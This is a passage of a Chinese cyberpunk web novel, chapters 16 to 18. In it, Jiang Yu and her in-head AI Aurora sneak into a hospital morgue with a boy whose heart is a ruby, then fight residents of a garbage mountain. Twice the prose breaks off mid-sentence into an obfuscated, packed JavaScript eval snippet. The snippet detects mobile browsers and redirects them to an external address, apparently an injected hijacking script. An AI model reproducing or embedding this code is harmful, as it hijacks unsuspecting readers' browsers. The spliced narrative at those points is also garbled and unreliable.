丈夫手很巧,黏糊的合成肉经过腌制后,零星肉味被种种化学材料放大至极致。吃一口软软腻腻,像是多次捶打后被放置了几天的肉泥,不新鲜但能吃。 两人闲聊着,说起了陈宪松父母。 玲咬起一口肉:“陈宪松父母从医院得知了他的异常,急匆匆地要求火葬他,什么都不想查了。” “有异常不更是要查吗?” 玲摇摇头,“畸变很不体面,他们不想和畸变有任何一丁点的联系。但他们想要红宝石。” 陈宪松父母透过监控视频看到了被姜屿拿走的红宝石,静静地躺在那里,散发着夺目的光彩,每一处灯光扫过的阴影和褶皱都令人目眩神迷。 确定红宝石不存在活性,不属于畸变,也就是不会对人体造成任何影响。 他们咬紧口风,要求执法队归还红宝石,那是属于他们的财产。 而病床上的陈宪松即将被匆匆执行火化父母在火化同意书上签下自己的姓名时,甚至没有露面。 机器确定没有活性,但机器总会有故障的呀。 “这是一份珍贵的礼物。” 姜屿明白了,小孩也明白了。 小孩狼吞虎咽,像是饿久了的小兽,烤肉和水似的,流过嘴巴、喉咙,一股脑到了胃部,紧闭的嘴终于松了点,才介绍自己叫木生。 木生三下五除二填饱肚子,神情餍足地叼起块肉慢慢享受起来,“小松在哪里?我要见他。” ? “我不是你妈,没有义务满足你的心愿。”姜屿拒绝。 16. 016 “小孩,你倒是不见外。”玲好奇地蹲下来,她很少和南城区的人聊天。 在南城区的人眼中,玲执法队队员的身份就是官方的走狗,从他们本就瘪瘦的钱包中抽骨吸髓。 “你和陈宪松怎么认识的?”玲不在意煤球敌视的眼神,很好奇小孩和陈宪松两个毫不相干的人如何认识的。 花园城巨大的中心排雾管道不是摆设,能让地理位置临近的南城和北城极为遥远。北城区的净气屏障不是闹着玩的,在北城区的每一秒都需要花费积分。 木生看了眼玲身上的执法队制服,没有说话。 玲嗤笑:“你什么都不说,我们怎么相信你是陈宪松的朋友,”她语气陡然严厉起来,“你凭什么拿走陈宪松的遗物。” 木生看她一眼,又看了姜屿一眼,转身飞快地跑不见了。 “嗳!你这小孩——”玲追上去,但木生身形灵活,小小的一个滑的跟鱼似的,一个不趁手从玲注意力空当里逃走了。 姜屿跟玲告别后,各回各家各上各班。果不其然,黑莓的霓虹招牌阴影处,站着个熟悉的身影。 花园城雨季,大多数人都会为自己制作张雨衣,塑料裁成的,废铁拼成的,还有最朴素的麻布兜帽。 阴影处是黑莓门头向外伸出去一角,刚刚好避雨。木生很少来这边,被门口招揽客人的改造人逗得手足无措。 姜屿上前“啪”地拍掉改造人蹂躏木生脸蛋的手,“别担心,她没有恶意。” “小姜打得人手好疼~”改造人嗲嗲的声音在她身后娇滴滴地委屈。 姜屿抽了抽嘴角:“你手臂是机械改造的。” “小姜打我,我心疼,带得我机械手臂也痛痛的。” 姜屿实在看不得一个肌肉扎结的大汉对人撒娇,她专心地问木生:“你找我有什么事?” “我想去见小松。” “陈宪松在基金会医院,你知道基金会吗?”姜屿头痛,她手舞足蹈,比出一个超大的圆,“是超级厉害的那个生命基金研究会。你有身份芯片吗?你有智能终端吗?” 木生嘴唇动了动,坦然又瑟缩地望着姜屿。没有,他都没有。 这地方组织严密,五级社会等级的姜屿要不是有执法队的调查令根本进不去,更不要说黑户木生了。 木生犹豫片刻,从兜帽里的大口袋中拿出齿轮,从姜屿手中抢过来的陈宪松遗物,手指摆弄了几下,严丝合缝的齿轮缓缓摊开来。 中心处包裹着一块极小的红色结晶。和红宝石一模一样,只不过一个有拳头大,一个不过拇指尖大小。 ? 姜屿思考片刻:“你想要去看红宝石,还是想去看陈宪松?” “我想去看小松。”木生眨眨眼睛,低头复原齿轮。 【为什么不帮帮他呢?他那么弱小,那么可怜。】 欧若拉声音又在耳边响起,宣叙调般的语气低沉优雅,一点不像个人工智能。 姜屿冷笑,在脑海中回道:【弱小?指能在我防备的状态下抢走我身上的东西吗?】 弱小得明明应该是她好吧。 木生手指不停抠齿轮,“……小松应该很孤独。” 【你难道不好奇吗?红宝石究竟是什么,为什么人体器官会变成矿石,陈宪松是怎么死的……】 恶魔般的意欲在大脑回响,和木生低声的喃喃在姜屿身体内外互相呼应地弹奏二重奏。 【好奇的是你才对吧。】姜屿吐槽。 欧若拉坦然承认。 “……如果你帮我,我可以告诉你红色结晶来自那里。”木生下定决心。 【你愿意帮我吗?】 姜屿默默在大脑中回应喋喋不休的女声。她很少和欧若拉交流,现在明显愿意对话,欧若拉很惊喜。 欧若拉愿意为这件事付出多少努力? 【你既然是有人类情感的智脑AI,可以帮我屏蔽基金会的生物扫描、24小时的监控探头吗?你知道的,】姜屿语气光棍,【我躲不开基金会医院AI的监控。】 欧若拉沉默良久,轻轻哼笑了一声:“如你所愿,姜屿。” 姜屿默默提高对欧若拉的警惕。同时对陈宪松事件更感兴趣了。 欧若拉不负自己智能生命体的称号,高傲冷漠,偶尔和姜屿讲话时总是带有上位者的指点意味。 能让她好奇的事情应该不会太简单。 不论欧若拉出现时的种种矛盾,就一个明显拥有自我意志的生命体会情愿受困于一台智脑终端,受困于一个普通的自然人吗? 姜屿怎么会放心有个危险物在自己大脑里。浅浅地试探、摸清欧若拉的能力才是上策。 事情宜早不宜迟,姜屿说干就干。 但全勤不能丢,她打完上班卡,找到无所事事的李三,用一百积分找他为自己代班,李三欣然答应。 李三什么都不干,却整日厮混在黑莓,站在黑莓二层注视众生百态。 姜屿知道,这一切都在蛇母的眼皮底下发生。 黑莓工作的每个人右耳都会佩戴一只装饰性的耳饰,耳饰不只是耳饰,更是蛇母在黑莓的眼目。 她对黑莓的每个人都了如指掌,甚至可以遥控他们的行为。真是个控制欲强的家伙。 李三大力挥手送别翘班的姜屿,动作幅度之大让姜屿以为自己将要一去不回。 脑海中有个不明存在,身侧还有黑莓的蛇母虎视眈眈,她像是被放在笼子里的小白鼠,被观察、被审视、被评估。 红灯五的霓虹灯光蜿蜒闪过姜屿的脸,在各种暧昧色的灯光中,姜屿脸上的晦暗一闪而过。 快得只有身边站得最近,能感受到姜屿温度的木生看到。 她挥手,热泪盈眶地和李三告别。 * 欧若拉不愧是个人工智能成精,一路上帮两人规避掉了北城区所有巡逻的机器人警卫,甚至用匿名身份为姜屿二人叫了个车。 基金会医院在花园城东北方郊外,晚上只有零星灯光亮着。 姜屿关掉智脑界面的隐私保护,展开欧若拉黑来的医院地图。 她心底吹了个口哨,欧若拉能力果然很强。 “医院里有一个焚化炉,我打听到陈宪松今晚会被火化。”姜屿指了指负一层。 木生惆怅地看了眼寂静的医院,为自己的好朋友难受,“小松的父母不在意他,没有人在意他。” “我们不是来了吗?” 焚化炉设定了自动程序,应和陈宪松父母尽快处理的要求。 今晚凌晨,自动程序启动,陈宪松的尸体会在瞬间化为灰烬。 总能在奇怪的地方看到科技的发展。 两个人的动作很轻,被屏蔽了的生物监控探头没有任何反应,以此为探头的医院AI也毫无反应。 走廊中亮着几盏灯,依稀能照亮楼梯,大片的病房隐藏于黑暗。 两人偷偷摸摸地摸到分诊台下。 这是去往负一层的必经之路。医院每层都有门禁,只有拥有权限的人才能进入。他们的目标正是分诊台后。 幸好只有一位机器人医生值班,处于待机状态,正坐在分诊台后的椅子上,静静地像座雕像。 忽然,木生的肚子咕噜响。好久时间没有接触油脂和调料的胃受不了刚刚的胡吃海喝,嚎叫起来。 细微的动静在寂静中清晰可闻。机器人医生从待机状态中苏醒,它站起来,开始走动。 “编号Ath47368报告,分诊台出现异常动静……”它循声而来。 “收到。开启检测生物分析……”AI柔和的声音在分诊台响起,“请员工及时排除威胁。” 两人藏在阴影中,屏住呼吸。木生拿出自己贴身的匕首,匕首上有足以腐蚀机器人躯体的化学废料。 他眼中闪过一丝狠色,身体默默绷紧蓄势待发。 【不要乱动!我用磁场屏蔽了你们的心跳和体温。】 机器人医生衣摆在两人面前划过。 姜屿狠狠捂住木生的嘴,用行动制止他攻击的本能。两人蹲坐在地上,呼吸轻得惊不动羽毛。 干净的黑色皮靴路过他们。 机器人一顿:“已排除威胁,不存在生物痕迹,数据推测为管道老化磨损。” “收到,请排除管道隐患……” 机器人医生同医院AI对话着走远。分诊台往里,走廊一览无遗。两人悄无声息地躲在阴影中,通往负一层的电梯应声而开。 【你们到了。】 面前的感应门在女声的控制下解除权限,咔得自动打开。 停尸房的温度很低,木生胳膊裸露在外,起了一层鸡皮疙瘩。 花园城常年温热,巨大的管道常年排出炙热废气,废气笼罩在花园城上空,像是一层保暖罩子。 陈宪松的尸体静静躺在中心的病床上,焚化炉的显示屏上的数字渐渐变小。距离设定的火化时间,还有十五分钟。 木生走到陈宪松旁边,一道粗长的缝合由脖颈延伸至腹部。 整个身体瘪瘪的,皮肤松松垮垮。器官被基金会,研究中心瓜分。或许肺部的奇迹不只会发生一次呢? 木生利索地跪在床边,手指划过他胸口上的疤痕,手下的皮肤冰冷的死寂。 姜屿只能看到他双肩耷拉着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153924|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背影颓丧,像是在为友人哭泣。 姜屿眼不见心不烦,低头研究地板花纹。 木生神情严肃,匕首从袖中滑出,刀尖抵在疤痕的最上方。 他咽了咽口水,一压,划开僵硬的皮肤。 肺部空空当当,但他要看的不是这个。灰白色的血管化为碎屑,如同扬尘。 触手可及之处,血管如同被风干后碾碎,如灰尘般簌簌掉落。 姜屿眼神乱晃,视线落在床角,床边灰尘飘飘洒洒地落了一层。 她一顿,基金会医院天花板也会掉灰吗? 视线随着灰尘上移,哪里是天花板的灰,明明是那小子做了什么! 她一把抓住木生盖在陈宪松身上的白布,“你做了什么?” 木生似乎在想起来停尸间还有个人,面上的冷肃陡然消失,眨眨眼睛后眼角湿润,“小松……小松好像是因为我死的。” “什么意思?”姜屿没有忘记齿轮中藏着的小石子般的红宝石。 木生拉着姜屿的手,不顾她的抗拒将手贴在自己的胸膛。胸膛瘦的发柴,姜屿只能摸到胸骨。她发散地想着,真是医学生最想要的大体老师。 等等!姜屿脸色严肃。 心跳呢?她手底的皮肤如同石头,没有心跳,没有脉搏。 木生扬起个坚强的笑:“我的心脏是红宝石。” “心脏?但我记得陈宪松是肺。” 木生乖巧地低下头:“我也不知道。我也想知道我和小松有哪里不同?”为什么小松会死,但他却安然无恙。 后面的话木生没有说出口。 “姐姐,我能看看你们所说的红宝石吗?”木生说着话,手指紧张地攥紧破烂的衣角。 滴—— 时间到了。 焚化炉全自动操作,尸体如同纸片般飞起,而后被吞噬、咀嚼。一瞬间的红外高温犹如雷霆般击碎了尸体。 医院的体贴让人啼笑皆非。焚化炉显示屏适时的变化画面,红橘色的火焰熊熊燃烧,驱散了天花板射灯的冷白。 木生:“姐姐,我想找出小松死亡的真相。我想知道他的死是不是和我有关,是不是我害的他……” 越说声音越低,最后几乎是呢喃。但病房太安静了,姜屿听得清清楚楚。 不要多管闲事,她应该去黑莓打卡销假,清晨回家睡觉,然后按照时间表去执法队训练。 【带她去看。】欧若拉命令道。 【闭嘴!】姜屿心中冷冷回应。 木生胸膛棱角的触感在手心挥之不去,这可是研究中心都觉得稀奇的红宝石。 或许她能通过木生找到形成的原因,也能找到欧若拉这不同寻常的关注起因,而且…… 执法队应该会有奖金的吧。 “好,我带你去看。” 出于安全考虑,姜屿不可能把可能有威胁的东西放在自己家里,家里可还有个老人呢。 因此由玲保管收纳红宝石的黑箱。 幸好玲是个夜猫子,铁脑袋为熬夜提供了充足的硬件基础。智脑上一叫她,玲秒回,贴心地把黑箱送过来了。 “这么热情?”姜屿死鱼眼。 玲勾勾搭搭地凑过来:“你有什么思路了吗?” “他有。”姜屿指了指后面的小尾巴。 黑箱的生物识别锁解开,天衣无缝般的黑箱表面出现裂痕,蓝白色荧光从中透出来,像是个快要爆炸的炸弹。 木生眼神一刻不眨地盯着黑箱,直到箱子中的红宝石缓缓露面,没有一丝杂质的红。 木生捧起它,姜屿与玲一前一后不约而同挡住了小孩的退路。 “你们很聪明。”木生珍惜地摸了摸怀中的红宝石,“我确实会拿走它。” 说罢,呛人的浓雾迅速弥漫,姜屿控制不住地剧烈咳嗽起来,双眼发酸,眼角不受控制地滴泪。 “谢谢姜姐姐的帮忙。”木生身影渐渐消失在浓雾后,只留下一句俏皮的声音。 玲暗暗咒骂了句,更新后的电磁炮自动锁定生物活动迹象,朝着木生所在地轰轰两炮。 木生反应速度抵不过机器,勉强避开自己的重要器官,两炮重重轰碎他半边身体。好险,幸好没有击中大脑和心脏。 他完全消失了。 血液和半边身体轻轻地落在地上,姜屿捡起观察,鲜活的肌肉和躯体。 玲骂骂咧咧的:“我就说南城的人不可信!” 姜屿瞅了眼气鼓鼓,恨不得把骗她们的木生刀了的玲:“电磁炮的自动瞄准不是更新精度了吗?” 玲顿时噤声,不自在地昂起脑袋,“那不是个小孩嘛。” 17. 017 甘棠一大早便接到了上司的电话,陈宪松父母找到他那里,要求归还他儿子的遗物——红宝石。 说是遗物,实则没有活性的红宝石是最好的礼物,太有助于送给有品位的收藏家,然后举家搬迁到第三区了。 研究中心的谴责电话也是一个接一个来,主管研究中心的人叫万松江,操着大烟嗓每天定点打电话来嘲讽、讨要被姜屿二人抢走的陈宪松器官。 甘棠头都大了。 应付完万松江的电话,玲在办公室门口探出个头,期期艾艾地看进来,不期然和甘棠的视线对上,一下精神起来,讨好地笑了笑:“老大,早上好,吃了吗?” 甘棠沉思片刻,“你闯什么祸了?” “怎么能这么说呢……”甘棠支愣了一下,声音很快低下去,觑着甘棠的脸色,“其实不是我,是我们,我和姜屿。我俩把陈宪松体内取出来的红宝石结晶弄丢了。” 甘棠神色一下严肃起来:“有人抢劫?” 不然甘棠很难理解,玲保管的黑箱怎么会丢。 玲看着大大一只,每天除了傻乐就是玩闹,但武力真不差。 除了改装过后的机械身体,野兽般的直觉更是超越人工智能。 怎么有人能从她手里抢走黑箱,一定有人在后谋划。 玲搓搓手,不好意思地笑笑,将昨晚的事全盘托出,其中夹杂了些自己的私货,什么“一个可恶的煤球”、“她和姜屿拼命抵抗”、“煤球狡诈地用阴谋诡计骗走了红宝石”…… 甘棠剖掉其中夹杂个人感情的形容,“有人的病状和陈宪松一样?” 玲点头,“我看到了,小孩的心脏成为了红宝石。” 要不是这,她怎么会傻乎乎地打开黑箱,还不是想着木生和陈宪松同病相怜,担心木生也会出事吗? 结果信任被辜负。 想着想着,玲愤怒地攥紧了拳头,她一定不会放过欺骗自己的人,小孩也不例外。 “心脏?”甘棠灵感一闪而过,直觉提醒她似乎忽略了什么东西。 “姜屿呢?” “她去找情报贩子了,之前她买过小孩的情报。” 甘棠知道这事,前两天在她说完报销之后,每天姜屿都会条理清晰地发过来个报销单,上面清晰列举了报销金额与事由。 她赶忙让玲给姜屿发消息,“别轻举妄动。” * 为了兼顾黑莓的工作与执法队的训练,姜屿将自己的睡觉时间调整在了下午。 木生拿着红宝石消失后,姜屿两人合计合计之后,玲明天一大早去找甘棠,而她趁着时间还够,去蓝靛那里找找小孩的线索。 彩虹滩和黑莓一样,都是越夜越热闹的地。 姜屿再一次踏进蓝靛的地盘。人变多了,变得更冷静。 人群三两成团,压低声音说着些什么。 “我们的交易继续,你什么时候能把那小孩带到我面前来?” 蓝靛不出意外,哈哈大笑:“被那小孩耍了?” 自姜屿传来通讯说不需要她找人,小孩自动送上门后她就知道会有这么一遭。 如今姜屿再来,她毫不客气地狮子大开口,“需要加钱。” 姜屿抖着手,动作迟缓地拿出自己的智脑,转账声音叮咚一响,积分就花出去了。 积分花得比钱更没有实感。 蓝靛正色,收了钱后神色立马收敛,正儿八经地对姜屿说道:“木生家在垃圾山,最近那地方有点邪乎,抓他到你面前来需要时间,至少需要三五天。” 景行也提起过垃圾山,说附近的人发财了。 姜屿好奇地询问,“是挖出什么宝藏了吗?” “宝藏?”蓝靛嗤笑一声,不以为意。 看在姜屿给钱给得利索的份上,又指了指外面窸窸窣窣的人群,好心解释道,“没得到消息,古怪得很。看见没,都是想去垃圾山发财的。” “古怪?”姜屿思维发散,难道有人在垃圾山里面找到了金子,一波淘金热即将到来? “这是另外的价钱。”蓝靛摊手耸肩,表示无可奉告,又将话题拉回到两人的交易上,“垃圾山的人最近防备得很,从垃圾山带出人比较麻烦。” 姜屿想了想,“木生在垃圾山哪个区域?” 垃圾山能称为山,就说明很大,事实也如此。 经年累月的投放垃圾却不处理,导致垃圾山更加庞大,没有人带路非常容易迷路。 蓝靛探究地看了看她,拿出张手绘地图。 地图画得很简陋,但比起官方发的地图更加详细,其中把垃圾山分成了五块,山前、山后、山腰、山上、山边,线条凌乱,夹杂许多复杂的小路。 她指了指山后,“他家在这里。” 姜屿花钱买下了这张潦草的地图。 大头都花了,不差这点钱了。 甘棠只是暂时让她保管黑箱,如今红宝石丢了,她得找回来。 * 心里存着事,姜屿睡得不好,和之前的卡点上班不同,早早来到黑莓上班,吸引了许多人的目光。 黑莓没到营业时间,所有人都懒懒的,萎靡地回复状态。 景行代表好奇的大家,被推过来找姜屿,“今天你怎么来得这么早?” 姜屿神思不属,思绪纠结,等待蓝靛或是主动出击,她不喜欢等待的感觉,像是一只鱼钩将自己的心提到了嗓子眼,悬空搁置的感觉久久不散。 一个没注意,背包中的垃圾山手绘地图滑落在地。 景行瞅了瞅姜屿,发现姜屿毫无反应后忍不住自己探究的冲动。 猫耳朵向前动了动,偷偷摸摸地打开折叠的纸张。 “姜屿,你要去垃圾山淘宝吗?”姜屿是他认识的人中第三批想要去垃圾山寻宝的人了。 第一批和第二批都渺无音训,消失在了堆积如山的垃圾中,“很危险哦,我之前去垃圾山的朋友都没有下落了。” 其他人对最近传得沸沸扬扬的垃圾山很感兴趣,也凑过来聊天,“可能是淘到宝害怕被抢,买了车票准备换个地方生活。” 花园城去第三区很难,但去第四区的别的城市挺简单的,只要有钱买得起车票。 景行点头,语气平平:“也有可能啦,不过有个朋友肯定是死了。他血迹斑斑地跑来黑莓治伤,很惨但嘴巴闭得很严,又没有钱只能等死了。” “淘宝有风险的啦。”众人纷纷附和起来,“也有可能跑去荒土了。” 花园城位于帝国边疆,往西就是闻之色变的黑雾笼罩的区域,被称为荒土,经常有人犯了事之后逃进荒土。 有人不赞同:“发财了去荒土干什么,哪里有享受的地方?” 姜屿回神,周围围了一圈人,七嘴八舌地聊起垃圾山最近的谣言,最喧嚣尘上的谣言有两个。 一个是垃圾山有传染病,“说是垃圾山那边化学废料有污染,好多垃圾山的人都被影响了,四肢肿大皮肤流脓……总之惨得很。”说话的人打了个寒颤。 另一个是垃圾山有宝藏,宝藏可值钱了,挖到宝藏的人全都吃得好睡得好,脸色红润得和第三区来的人一样。 看到姜屿回神,景行好心提醒,“你要是去的话,要做好准备,别随随便便就死了。” 聊八卦最容易使人亲近,周围一圈人自觉和姜屿亲近了一些,也跟在景行后面叮嘱:“小姜要注意安全,发财了别忘了请我们吃饭……” 一人说一句,够姜屿头晕眼花了。 八卦聊完,热闹散场,黑莓陆陆续续地有客人进来,大家自顾自地迎上去,很快收银台只剩下景行和姜屿两人。 姜屿:“你还不去接待客人?” “人家关心你啦,”景行语气软绵绵的,“而且今天约我的客人还没有到。” 不在意姜屿黑线的表情,景行再次叮嘱道,“去垃圾山真的要注意安全,不要一不小心就死啦。” “你担心我,不应该劝我安安分分待在黑莓,不要去冒险吗?”姜屿纳闷。 “不一样啦,这里每个人都很缺钱,不会有人这样劝你。” 两人聊天期间,预约景行的客人到了。 他猫似地跳下桌子,欣喜地往客人那里走,嘴里念念有词:“发财了别忘了我哦,注意安全。” 纠结一天后,姜屿找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153925|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘棠,“我想去垃圾山找木生,弥补自己的失误。” “我还以为你会窝在黑莓里面。”甘棠没有讽刺的意思,纯纯感叹。 甘棠翻了一天档案,终于在追踪记录中其他城区的执法队员口述中找到踪迹。 一位队员在犯罪分子逃脱后口述,在对战中似乎看到犯罪分子眼睛很奇怪,眼睛那里贴着一颗类似玻璃的东西,夜色下看不清晰,但那东西很清澈还能反射红光,队员猜测是改装后的钛合金倒映着光,在追踪记录中一并写上去了。 陈宪松的畸变可能和最近正在追踪的犯罪分子有关系。 得找到这小孩啊! 木生要不是犯罪分子的同伙,要不就是犯罪分子的目标,她要在别人反应不及的时候,将关键线索木生握在手里。 “我想要一点您的帮助。” 姜屿指尖拉出小小的距离,暗示只需要一点点。甘棠点头示意后,她才接着说,“我想知道垃圾山的情况,还有我想要一副护甲。” “!” 护甲是机甲的升级版,相比于机甲笨重、体积大的缺点,护甲采用纳米级材料,一般时间穿在身上和穿件衣服没有区别,危险时刻能变身为机甲,价格也是机甲的数倍。 而且有购买限制。只有执法队的正式队员,在直系领导的签字同意后,经过花园城异常控制署的一把手签字后才可以贷款购买。 “垃圾山一切寻常。治安署没有接到垃圾山异样的通知,三个月内没有垃圾山出警记录,没有医院紧急救护记录。” 甘棠正襟危坐,如同面对千八百媒体般公式化发言。 姜屿一脸冷漠:“木生在垃圾山。” 甘棠不自在地咳嗽清嗓,“最近我也听说过一些谣言,好像是垃圾污染之类的事情,但应该不严重。城市AI会监控花园城的人口情况、天气状况等信息,如果达到设定的警戒值,它会发出提醒。到目前为止,花园城运转一切正常,包括垃圾山。” “南城区关于垃圾山的谣言在沸腾,无风不起浪。”姜屿暗示性地看她。 “相信AI,相信政务所。”喊完口号,甘棠提起另一件事,“你不是正式队员,没有购买护甲的权限。” 拒绝后又安抚姜屿,“不要担心,我会让玲和你一起行动,你要相信玲的武力。” 人不经念叨,甘棠一提起她,玲就忽然出现。 她听到了甘棠的话,大大咧咧的,“老大,我不是有使用对立护甲的权限吗?我申请了之后给姜屿用呗。” 说着,在甘棠的死亡注视下开朗地比了个耶。又看向姜屿,“别担心姜屿,我资历很深,能申请一套最新的D级护甲。” 护甲等级分为5级,ABCDE,按照研究院的说法,A级护甲可以对抗S级畸变。 花园城作为第四区城市,只能有E级、D级护甲。而且发下来的护甲有限,两套E级,一套D级而已,是异常控制署最重要的资产之一。 甘棠笑容差点裂开,但她稳住了,无奈地揉了揉太阳穴,“也可以。但是你俩要是像丢红宝石一样粗心大意,等着处罚吧!还有,护甲如果有任何损伤,需要你们自费修补护甲。” 她忧心忡忡地补充。 姜屿和玲脸色一变,看来是听进去了。 那就好,甘棠下意识安慰自己,她们会好好爱护护甲的。 【恭喜你,装备更新。】 欧若拉冷不丁地出声,正测试护甲的姜屿一顿,没理对方的投影,继续自己的测试。 护甲真的太棒了,穿在身上毫无重量,但是却大幅提高了姜屿从内到外的敏捷、力量,一跳三米高轻松实现。 玲蹲在一边,疑惑得不行:“护甲和改造的作用没有差别,但护甲能比改造贵好多好多,你也是,老大也是,怎么就不愿意做改造呢。” 娃娃脸教官蹲在玲旁边,嫌弃姜屿,更嫌弃玲:“都说了不要依靠外力!只有努力训练后的身体不会背叛自己。” 玲挥动自己的机械手臂,拔萝卜似的一把把蹲在地上的唐糖抱起。 唐糖气得不轻,一锤锤在玲没有经过改造的半边脑袋上,“不要挑衅教官!” 18. 018 垃圾山存在感很强,在路上远远望去能看见垃圾山如同天倾的脊背,隐于雾中。 “为什么不处理垃圾?”姜屿扯着嗓子吼。两人骑了玲的机车,风声在耳边呼啸而过,除此以外一切都模糊了。 “处理了垃圾,垃圾山的人去哪里住?”玲同样扯着嗓子回复,逻辑奇怪却理直气壮。 “……谁教你这么说的?” “视频、帝国条例、培训教育的时候都这么说的。” 机车风驰电掣,路过其中几个收费站,不一会便到了垃圾山。 玲锁好机车,打开机车的自动攻击系统,三米内有人踏入会被炮筒对准。 “你不懂,我要是不这样做,等我们回来轮胎、车架肯定就没有了。”玲悲愤地说,很明显遭遇过不止一次。 前方车辆止步,垃圾山四通八达,都是人力踏出来的路,根本容不下重机车同行。 垃圾山和谣言中的凶神恶煞不同,非常平静。 拐角处神情萎靡的流浪汉,阴影中恶意打量的目光和南城其他地方没有什么不同。 空气中弥漫着一股塑胶被烧焦的刺鼻味道。 两人普普通通地踏入了谣言四起的垃圾山。 蓝靛给的手绘地图上标注了木生所在。 两人在垃圾山的山前广场,距离木生所在地还有一段距离。 越往里走,垃圾山格外不同。 里面的人眼神平静,脸色红润,不阻拦不妨碍,在两人身后不含恶意地静静注视着姜屿二人。 姜屿负责引路,玲负责警戒周围。 她皱着眉头,“快走,这鬼地方不对劲。”她抖了抖身上的鸡皮疙瘩,太阳穴轰轰地跳,不停提示危险! “快到了。” 垃圾山的路越往里越不好走,道路又陡又挤,地图上显示的道路绕过了垃圾山的腹部,从侧面绕道垃圾山山后。 “要是可以从垃圾山腹部直插,路途就快很多了。”专注赶路太过无聊,两人边聊边走。 玲不太在意:“可能害怕垃圾塌了。”眼神警惕地扫过旁边的垃圾,视线在某处一顿,“哇哦,我记得这是美丽农业发行的营养液。” 她手一勾,营养液落在手上,上下瞅了瞅营养液的包装,“诶,这还是草莓口味的。竟然没被人捡走?” 她纳闷地挠了挠头,没想通之后随手将营养液塞回自己裤兜。 步行三小时,木生所在之地到了。 这里鲜有人至,周围的垃圾大多是成年垃圾,在时间作用下已经氧化腐烂。 木生家是用破旧垃圾堆出来的,破破烂烂,一阵风就能吹倒。 幸亏四周都有山高的垃圾拦住风,也拦住了人。 玲拦住姜屿。 系统检测到她的心跳加速、肌肉不自觉地紧绷,她甚至能听到右后方有块垃圾细微地动了动。 “有问题……” 话音未落,几人高的垃圾堆后冲出来几个人。 姜屿反应迅速,激活护甲,一瞬间黑色的机甲液体般化开,覆盖在她的身上。 “要钱的!开启机甲模式要钱的!你省着点花!”玲攻击动作一顿,边攻击边冲她吼。 哪有人这么用机甲的! 机甲应该要用在最关键、最绝望的情形之下,对付几个喽喽,哪里需要全副武装的机甲。 她一个人可以的!不需要花钱! 几个交手来回,玲判断几个人是乌合之众,不足为虑。 但对手不要命的姿态还是拖住了两人的脚步。 尤其是姜屿。 她打人只打四肢,腹部,致使对手暂时失去行动能力,但和之前遇到的对手不同。 玲怒骂:“姜屿,你会不会杀人?” 这群人腿被打断,依旧会挣扎着扑上来攻击,用手臂、用牙齿,无所不用其极。垃圾堆后人不断涌来,像是蝗虫群。 姜屿冷静思索,“玲,你拦住这些人。我去屋子里看看。” 对方看起来像是垃圾山的原住民,倒下的人动作熟练,从垃圾堆中迅速找出想要的东西,不多时,几个小型炮筒安装好了,其貌不扬但能用。 前方步兵,近身缠斗;后方炮兵,提供远程火力支撑。 听到姜屿的话后,火力更足。 玲:“赶快去,我和他们好好玩玩。” 武器之间的代差非人力能弥补,只能用命填。 玲一枪一炮,转眼在攻击线上撕出一个大口子。 攻击的人潮水般倒下,后面的人踩着前面的尸体继续进攻,没有害怕没有犹豫,眼中全是死得其所的坦然。 姜屿放心地将背后交给玲,炮弹在机甲上炸开,没有留下一丝痕迹。 听到姜屿的话后,对方攻击更猛,冲着姜屿而去。 玲啧啧两声,“你们的对手是我!想要找她,先打败我。” 机甲好用但支撑机甲的能源按秒收费。 姜屿加快脚步,屋里一切正常,大小不一铁片制成的天花板簌簌掉渣。 一打开门,呛鼻的气体透过机甲的感应系统,系统判定其无威胁。 无威胁但是恶心,姜屿退后几步赶忙将气体拦在机甲外。 气体不止呛鼻,像是化粪池里装满了腐烂的尸体,烂肉和粪便的味道混合。 三秒钟的时间姜屿需要用一生治愈。 玲:“姜屿,你搞什么东西,这么恶心!” 说着,止不住的干呕。 屋子外炮火不停,姜屿勉强打起精神。 屋里很简陋,只有床能看出样子。 床上躺着具尸体,尸体看起来死去多日,头部像个肿胀的气球,没有弹性的舌头长长地吊在嘴唇上。 尸体胸腔被打开,里面的器官全都不见,只剩下些许血管和气管。 姜屿鼓足勇气,找出个棍子形状的物件拨了拨,血管和气管如同一截枯老的树枝,和陈宪松的症状一样。 姜屿丢掉棍子,打量起周围,屋里中再无其他线索,看不到人生活的任何痕迹。 仔细搜索后,一张照片被压在地底,上面全是灰尘。 一大一小,大人是个男性,面对镜头笑起来,却抵不住眉间的愁绪,皲裂的皮肤、驼背的身体,是个为生活所困的人。 小孩是木生,照片应该有年头了,小小的木生对着镜头开怀地笑,怀里抱着个盆栽,一截树枝张开枝丫,两片崭新的绿叶俏生生抬头。 姜屿眨眨眼,确定照片上的绿叶不是假的。 刚刚收起照片,爆炸声轰然响起,他们攻击了屋子,脆弱的屋子在炮弹中破碎,什么都没有剩,包括那具尸体。 灰尘散开,只余穿着机甲的姜屿。 玲松了口气,随着屋子消失,攻击的人迅速退去,没管躺在地上的同伴。 玲拎起一人的头,“我问你,你们是谁?” 对方黑黝黝的眼睛看了看玲,没理玲,嘲讽一笑后狠狠咬牙。 抓在手中的人身体颤栗,下意识地屈膝,血液漫过嘴角缓缓流下来,满嘴的血液呛到气管,双眼无神地望向天空。 “喂!喂!” “她咬舌自尽了。” “为什么要选择这么痛苦的死法?” 